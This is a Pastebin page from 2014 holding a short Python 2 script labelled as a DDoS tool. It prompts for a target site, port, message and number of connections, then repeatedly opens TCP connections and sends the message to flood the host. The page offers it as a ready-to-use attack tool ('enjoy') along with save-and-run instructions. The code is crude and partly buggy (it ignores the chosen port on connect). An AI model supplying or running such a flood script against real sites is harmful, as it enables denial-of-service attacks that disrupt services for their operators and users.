Advertisement
scriptkiddies

Python Script DDoS - Dr.1n73ct10n

May 19th, 2014
529
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.54 KB | None | 0 0
  1. Phython Script DDoS - Dr.1n73ct10n
  2. enjoy :
  3.  
  4. import time
  5. import socket
  6. import os
  7. import sys
  8. import string
  9.  
  10. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  11.  
  12. def restart_program():
  13.     python = sys.executable
  14.     os.execl(python, python, * sys.argv)
  15. curdir = os.getcwd()
  16.  
  17. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  18.  
  19. print ("DDoS mode loaded")
  20. host=raw_input( "Site you want to DDoS:" )
  21. port=input( "Port you want to attack:" )
  22. message=raw_input( "Input the message you want to send:" )
  23. conn=input( "How many connections you want to make:" )
  24. ip = socket.gethostbyname( host )
  25. print ("[" + ip + "]")
  26. print ( "[Ip is locked]" )
  27. print ( "[Attacking " + host + "]" )
  28. print ("+----------------------------+")
  29. def dos():
  30.     #pid = os.fork()
  31.     ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  32.     try:
  33.         ddos.connect((host, 80))
  34.         ddos.send( message )
  35.         ddos.sendto( message, (ip, port) )
  36.         ddos.send( message );
  37.     except socket.error, msg:
  38.         print("|[Connection Failed]         |")
  39.     print ( "|[DDoS Attack Engaged]       |")
  40.     ddos.close()
  41. for i in range(1, conn):
  42.     dos()
  43. print ("+----------------------------+")
  44. print("The connections you requested had finished")
  45. if __name__ == "__main__":
  46.     answer = raw_input("Do you want to ddos more?")
  47.     if answer.strip() in "y Y yes Yes YES".split():
  48.         restart_program()
  49.     else:
  50.         os.system(curdir+"\Deq\main.py")
  51.  
  52. NB : copy in notepad and save file type .py
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement